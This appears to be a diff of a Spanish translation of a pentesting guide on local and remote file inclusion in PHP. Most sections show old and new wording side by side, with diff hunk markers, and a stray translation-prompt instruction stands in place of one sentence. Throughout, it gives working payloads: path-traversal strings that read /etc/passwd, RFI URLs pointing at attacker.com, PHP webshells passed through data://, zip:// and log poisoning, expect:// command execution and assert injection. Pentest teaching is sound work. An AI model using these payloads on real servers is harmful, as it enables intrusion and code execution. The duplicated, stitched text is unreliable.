{% embed url="https://hackenproof.com/register" %}
## Inclusión de archivos
**Inclusión de archivos remotos (RFI):** El archivo se carga desde un servidor remoto (lo mejor: puedes escribir el código y el servidor lo ejecutará). En PHP esto está **deshabilitado** de forma predeterminada (**allow\_url\_include**).\
**Inclusión de archivos remotos (RFI):** El archivo se carga desde un servidor remoto (lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **desactivado** de forma predeterminada (**allow\_url\_include**).\
**Inclusión de archivos locales (LFI):** El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
@ -33,20 +40,20 @@ Funciones de PHP vulnerables: require, require\_once, include, include\_once
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Ciegos - Archivos interesantes - LFI2RCE
## Ciegos - Interesantes - Archivos LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
Mezclando varias listas de LFI de \*nix y añadiendo más rutas, he creado esta:
**Mezclando varias listas de LFI de \*nix y añadiendo más rutas, he creado esta:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
También intenta cambiar `/` por `\`\
También intenta añadir `../../../../../`
Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Puedes encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -55,78 +62,84 @@ Mezclando varias listas he creado esta:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
También intenta cambiar `/` por `\`\
También intenta quitar `C:/` y añadir `../../../../../`
También intenta eliminar `C:/` y añadir `../../../../../`
Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Puedes encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Comprueba la lista de LFI de Linux.
Consulta la lista de LFI de Linux.
## LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero también se pueden aplicar a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
Todos los ejemplos son para Local File Inclusion, pero también se pueden aplicar a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### Secuencias de recorrido eliminadas de forma no recursiva
### secuencias de recorrido sin recursión eliminadas
When performing a file inclusion vulnerability assessment, it is common to encounter web applications that implement input validation mechanisms to prevent directory traversal attacks. One common technique used to mitigate this vulnerability is to strip traversal sequences from user input in a non-recursive manner.
Cuando se realiza una evaluación de vulnerabilidad de inclusión de archivos, es común encontrarse con aplicaciones web que implementan mecanismos de validación de entrada para prevenir ataques de traversing de directorios. Una técnica común utilizada para mitigar esta vulnerabilidad es eliminar las secuencias de recorrido del usuario de manera no recursiva.
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Byte nulo (%00)**
### **Null byte (%00)**
Permite evitar la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
Bypass para agregar más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Esto está **solucionado desde PHP 5.4**
Este problema **se resolvió desde PHP 5.4**
### **Codificación**
Se podrían utilizar codificaciones no estándar como la codificación doble de URL (y otras):
Podrías usar codificaciones no estándar como la codificación de doble URL (y otras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Desde una carpeta existente
### Desde la carpeta existente
Tal vez el back-end esté comprobando la ruta de la carpeta:
Tal vez el back-end está verificando la ruta de la carpeta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Identificación de carpetas en un servidor
Dependiendo del código aplicativo / caracteres permitidos, puede ser posible explorar recursivamente el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
Dependiendo del código aplicativo / caracteres permitidos, es posible explorar de forma recursiva el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
* identifique la "profundidad" de su directorio actual recuperando con éxito `/etc/passwd` (si está en Linux):
* identifica la "profundidad" de tu directorio actual al recuperar exitosamente `/etc/passwd` (si estás en Linux):
```
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
* Intenta adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí, `private`), y luego regresando a `/etc/passwd`:
```
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
```
* Si la aplicación es vulnerable, puede haber dos resultados diferentes para la solicitud:
* Si obtiene un error / sin salida, la carpeta `private` no existe en esta ubicación.
* Si obtiene el contenido de `/etc/passwd`, ha validado que hay una carpeta `private` en su directorio actual.
* Las carpetas que descubra utilizando esta técnica pueden ser probadas para archivos (usando un método clásico de LFI) o para subdirectorios utilizando la misma técnica de forma recursiva.
* si la aplicación es vulnerable, puede haber dos resultados diferentes para la solicitud:
* si obtienes un error / sin salida, la carpeta `private` no existe en esta ubicación
* si obtienes el contenido de `/etc/passwd`, has validado que hay una carpeta `private` en tu directorio actual
* las carpetas que descubras utilizando estas técnicas pueden ser probadas para archivos (usando un método clásico de LFI) o para subdirectorios utilizando la misma técnica de forma recursiva.
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 del sistema de archivos) desea verificar si `/var/www/` contiene un directorio `private`, use la siguiente carga útil:
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 en el sistema de archivos), quieres verificar si `/var/www/` contiene un directorio `private`, utiliza la siguiente carga útil:
```
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
La siguiente secuencia de comandos permite la generación de payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
La siguiente secuencia de comandos permite generar payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
```
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
```
Por supuesto, adapta los payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.
### **Truncamiento de ruta**
Bypass de la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php") Ajusta los payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.
Bypass de la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
@ -142,7 +155,7 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Siempre intenta **empezar** la ruta **con un directorio falso** (a/).
Siempre intenta **comenzar** la ruta **con un directorio falso** (a/).
**Esta vulnerabilidad fue corregida en PHP 5.3.**
@ -154,6 +167,43 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```
## RFI Básico
El RFI (Inclusión de Archivos Remotos) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos remotos en el código fuente de una página web. Esto puede conducir a la ejecución de código arbitrario y comprometer la seguridad del sistema.
### Cómo funciona
El RFI se produce cuando una aplicación web no valida adecuadamente las entradas del usuario antes de incluir archivos remotos. Esto permite a un atacante proporcionar una URL que apunta a un archivo remoto, que luego se incluye en el código fuente de la página web.
El atacante puede aprovechar esta vulnerabilidad para ejecutar código malicioso en el servidor web. Por ejemplo, puede incluir un archivo PHP que contenga código malicioso para robar información confidencial, como contraseñas o datos de tarjetas de crédito.
### Ejemplo de RFI
Supongamos que una aplicación web tiene una función que incluye un archivo PHP en el código fuente de una página web. La función se ve así:
```php
function include_file($file) {
include($file);
}
```
El problema es que la aplicación no valida adecuadamente la entrada del usuario antes de llamar a esta función. Un atacante puede aprovechar esto proporcionando una URL que apunte a un archivo PHP malicioso:
```
http://www.example.com/index.php?page=http://www.attacker.com/malicious.php
```
Cuando la aplicación web llama a la función `include_file` con la URL proporcionada, el archivo `malicious.php` se incluye en el código fuente de la página web. Esto permite al atacante ejecutar código malicioso en el servidor web.
### Cómo prevenir el RFI
Para prevenir el RFI, es importante validar y filtrar adecuadamente todas las entradas del usuario antes de incluir archivos remotos. Aquí hay algunas medidas que se pueden tomar:
- Utilizar listas blancas para permitir solo URLs de confianza.
- Validar y filtrar las entradas del usuario para evitar caracteres y secuencias maliciosas.
- Limitar los permisos del servidor web para que no pueda acceder a archivos remotos.
- Mantener el software y los sistemas actualizados para evitar vulnerabilidades conocidas.
Al seguir estas prácticas recomendadas, se puede reducir significativamente el riesgo de RFI y proteger la seguridad de las aplicaciones web.
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -176,9 +226,9 @@ Es el comportamiento previsto según [la documentación](https://docs.python.org
## Listado de directorios en Java
Parece que si se tiene una Travesía de Directorios en Java y se **solicita un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no sucederá en otros lenguajes (que yo sepa).
Parece que si tienes una Travesía de Ruta en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).
## Top 25 parámetros
## Los 25 principales parámetros
Aquí está la lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
```
@ -208,40 +258,40 @@ Aquí está la lista de los 25 principales parámetros que podrían ser vulnerab
?mod={payload}
?conf={payload}
```
## LFI / RFI usando envoltorios y protocolos PHP
## LFI / RFI utilizando envoltorios y protocolos PHP
### php://filter
Los filtros de PHP permiten realizar **operaciones básicas de modificación en los datos** antes de que se lean o escriban. Hay 5 categorías de filtros:
Los filtros de PHP permiten realizar operaciones básicas de modificación en los datos antes de ser leídos o escritos. Hay 5 categorías de filtros:
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
* Tenga en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
* Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
* [Filtros de conversión](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** admitidas, ejecute en la consola: `iconv -l`
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*`: Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** admitidas, ejecuta en la consola: `iconv -l`
{% hint style="warning" %}
Abusando del filtro de conversión `convert.iconv.*`, se puede **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión procese texto arbitrario. Para obtener más información, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Abusando del filtro de conversión `convert.iconv.*`, puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para obtener más información, consulta [**LFI2RCE a través de los filtros de PHP**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtros de compresión](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información)
* `zlib.inflate`: Descomprime los datos
* [Filtros de cifrado](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Obsoleto
* `mdecrypt.*` : Obsoleto
* `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información)
* `zlib.inflate`: Descomprime los datos
* [Filtros de encriptación](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*`: Obsoleto
* `mdecrypt.*`: Obsoleto
* Otros filtros
* Ejecutando en php `var_dump(stream_get_filters());` se pueden encontrar un par de **filtros inesperados**:
* `consumed`
* `dechunk`: invierte la codificación HTTP chunked
* `convert.*`
* Ejecutando en PHP `var_dump(stream_get_filters());`, puedes encontrar un par de filtros **inesperados**:
* `consumed`
* `dechunk`: invierte la codificación chunked de HTTP
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
@ -273,19 +323,19 @@ La parte "php://filter" no distingue entre mayúsculas y minúsculas.
### php://fd
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abierto. Potencialmente útil para filtrar el contenido de archivos abiertos:
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abierto. Potencialmente útil para extraer el contenido de archivos abiertos:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
También se pueden usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque).
También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
### zip:// y rar://
Sube un archivo Zip o Rar con una PHPShell dentro y accede a ella.\
Para poder abusar del protocolo rar, **debe ser activado específicamente**.
Sube un archivo Zip o Rar con un PHPShell adentro y accede a él.\
Para poder abusar del protocolo rar, **necesita estar activado específicamente**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
@ -300,25 +350,15 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
La técnica de inclusión de archivos `data://` se utiliza para cargar datos directamente en la URL. Esto se puede utilizar para cargar archivos de texto plano, imágenes y otros tipos de archivos.
La técnica de inclusión de archivos es una vulnerabilidad común en las aplicaciones web que permite a un atacante incluir archivos arbitrarios en una página web. Esto puede conducir a la ejecución remota de código, revelación de información confidencial o incluso a la toma completa del sistema.
La sintaxis para cargar un archivo de texto plano es la siguiente:
La vulnerabilidad de inclusión de archivos ocurre cuando una aplicación web no valida o filtra adecuadamente los datos proporcionados por el usuario antes de incluirlos en una página. Esto permite que un atacante manipule los parámetros de la URL o los datos de formulario para incluir archivos externos.
```
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
```
La técnica de inclusión de archivos se puede explotar de varias formas, como la inclusión de archivos locales, la inclusión de archivos remotos y la inclusión de archivos basada en rutas. Los atacantes pueden aprovechar esta vulnerabilidad para leer archivos sensibles del sistema, ejecutar comandos arbitrarios o incluso obtener acceso completo al servidor.
En este ejemplo, `SGVsbG8sIFdvcmxkIQ%3D%3D` es el contenido codificado en base64 del archivo de texto plano.
Para protegerse contra la inclusión de archivos, es importante validar y filtrar adecuadamente los datos proporcionados por el usuario. Esto incluye la implementación de listas blancas de archivos permitidos, la restricción de acceso a archivos sensibles y la configuración adecuada de permisos de archivo y directorio.
Para cargar una imagen, la sintaxis sería la siguiente:
```
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
```
En este ejemplo, `iVBORw0KGgoAAAANSUhEUgAAAAUA` es el contenido codificado en base64 de la imagen.
Esta técnica se puede utilizar para cargar archivos de configuración, archivos de contraseñas y otros archivos sensibles que se encuentran en el servidor.
En resumen, la inclusión de archivos es una vulnerabilidad crítica que puede tener graves consecuencias para la seguridad de una aplicación web. Es importante comprender cómo funciona esta técnica y tomar medidas para mitigar los riesgos asociados.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -328,27 +368,27 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Dato curioso: puedes desencadenar un XSS y evitar el Auditor de Chrome con: `http://ejemplo.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Hecho divertido: puedes desencadenar un XSS y evitar el Auditor de Chrome con: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
### expect://
Expect tiene que estar activado. Puedes ejecutar código usando esto.
Expect debe estar activado. Puedes ejecutar código utilizando esto.
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Especifica tu carga útil en los parámetros POST.
Especifica tu carga útil en los parámetros POST
```
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```
### phar://
Un archivo `.phar` también se puede utilizar para ejecutar código PHP si la web está utilizando alguna función como `include` para cargar el archivo.
Un archivo `.phar` también se puede utilizar para ejecutar código PHP si el sitio web está utilizando alguna función como `include` para cargar el archivo.
{% code title="create_phar.php" %}
```python
@ -366,10 +406,10 @@ Y puedes compilar el `phar` ejecutando la siguiente línea:
```bash
php --define phar.readonly=0 create_path.php
```
Se generará un archivo llamado `test.phar` que se puede utilizar para abusar de la LFI.
Se generará un archivo llamado `test.phar` que puedes usar para abusar de la LFI.
Si la LFI solo lee el archivo y no ejecuta el código php dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puede intentar abusar de una **deserialización** que ocurre cuando se **lee** un **archivo** utilizando el protocolo **phar**.\
Para obtener más información, lea el siguiente post:
Si la LFI solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
Para obtener más información, lee el siguiente artículo:
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
@ -377,79 +417,79 @@ Para obtener más información, lea el siguiente post:
### Más protocolos
Compruebe más posibles [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
Consulta más [**protocolos para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Secuencias de compresión
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceder al sistema de archivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceder a URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceder a URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con un patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Secuencias de audio (no es útil para leer archivos arbitrarios)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
## LFI a través de 'assert' de PHP
## LFI a través de 'assert' en PHP
Si encuentra una LFI difícil que parece filtrar cadenas de travesía como ".." y responder con algo como "Intento de hackeo" o "Buen intento!", una carga útil de inyección de 'assert' puede funcionar.
Si te encuentras con una LFI difícil que parece filtrar cadenas de travesía como ".." y responde con algo como "Intento de hackeo" o "Buen intento!", es posible que funcione una carga útil de inyección de 'assert'.
Una carga útil como esta:
```
' and die(show_source('/etc/passwd')) or '
```
Logrará explotar con éxito el código PHP para un parámetro "file" que se vea así:
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/file-inclusion/README.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
```bash
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```
También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system().
También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system():
```
' and die(system("whoami")) or '
```
Asegúrate de codificar en URL los payloads antes de enviarlos.
Asegúrate de codificar las cargas útiles en formato URL antes de enviarlas.
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre los errores web3**
🐞 Lee tutoriales sobre errores web3
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
🔔 Recibe notificaciones sobre nuevas recompensas por errores
💬 Participa en discusiones comunitarias
## Traversal de ruta ciega en PHP
## Traversal de Ruta Ciega en PHP
{% hint style="warning" %}
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo**, pero no verás el contenido del archivo (como una simple llamada a **`file()`**), pero el contenido no se muestra.
{% endhint %}
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una traversal de ruta ciega a través de un filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de error**.
En [**este increíble artículo**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de la traversión de ruta ciega a través del filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de errores**.
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo para objetivos de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
¡Para obtener detalles técnicos, consulte la publicación mencionada!
¡Para obtener detalles técnicos, consulta el artículo mencionado!
## LFI2RCE
### RFI básico
### RFI Básico
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
### A través del archivo de registro de Apache/Nginx
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, se podría intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
{% hint style="warning" %}
Tenga en cuenta que **si utiliza comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **no se ejecutará nada más**.
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** y **no se ejecutará nada más**.
Además, asegúrese de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrá una segunda oportunidad.
Además, asegúrate de **escribir correctamente la carga útil** o PHP lanzará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
{% endhint %}
Esto también se podría hacer en otros registros, pero **tenga cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado **autorización "básica"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría ser insertada dentro de este encabezado.\
Esto también se puede hacer en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado **authorisation "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de este encabezado.\
Otros posibles caminos de registro:
```python
/var/log/apache2/access.log
@ -464,14 +504,14 @@ Otros posibles caminos de registro:
```
Lista de palabras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Por correo electrónico
### A través de correo electrónico
**Envía un correo electrónico** a una cuenta interna (usuario@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo electrónico del usuario con una ruta como **`/var/mail/<NOMBRE_DE_USUARIO>`** o **`/var/spool/mail/<NOMBRE_DE_USUARIO>`**
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/<NOMBRE_DE_USUARIO>`** o **`/var/spool/mail/<NOMBRE_DE_USUARIO>`**
### A través de /proc/\*/fd/\*
1. Sube muchas shells (por ejemplo: 100)
2. Incluye [http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD](http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD el descriptor de archivo (también puede ser forzado por fuerza bruta)
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), donde $PID es el ID del proceso (puede ser forzado por fuerza bruta) y $FD es el descriptor de archivo (también puede ser forzado por fuerza bruta)
### A través de /proc/self/environ
@ -488,9 +528,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
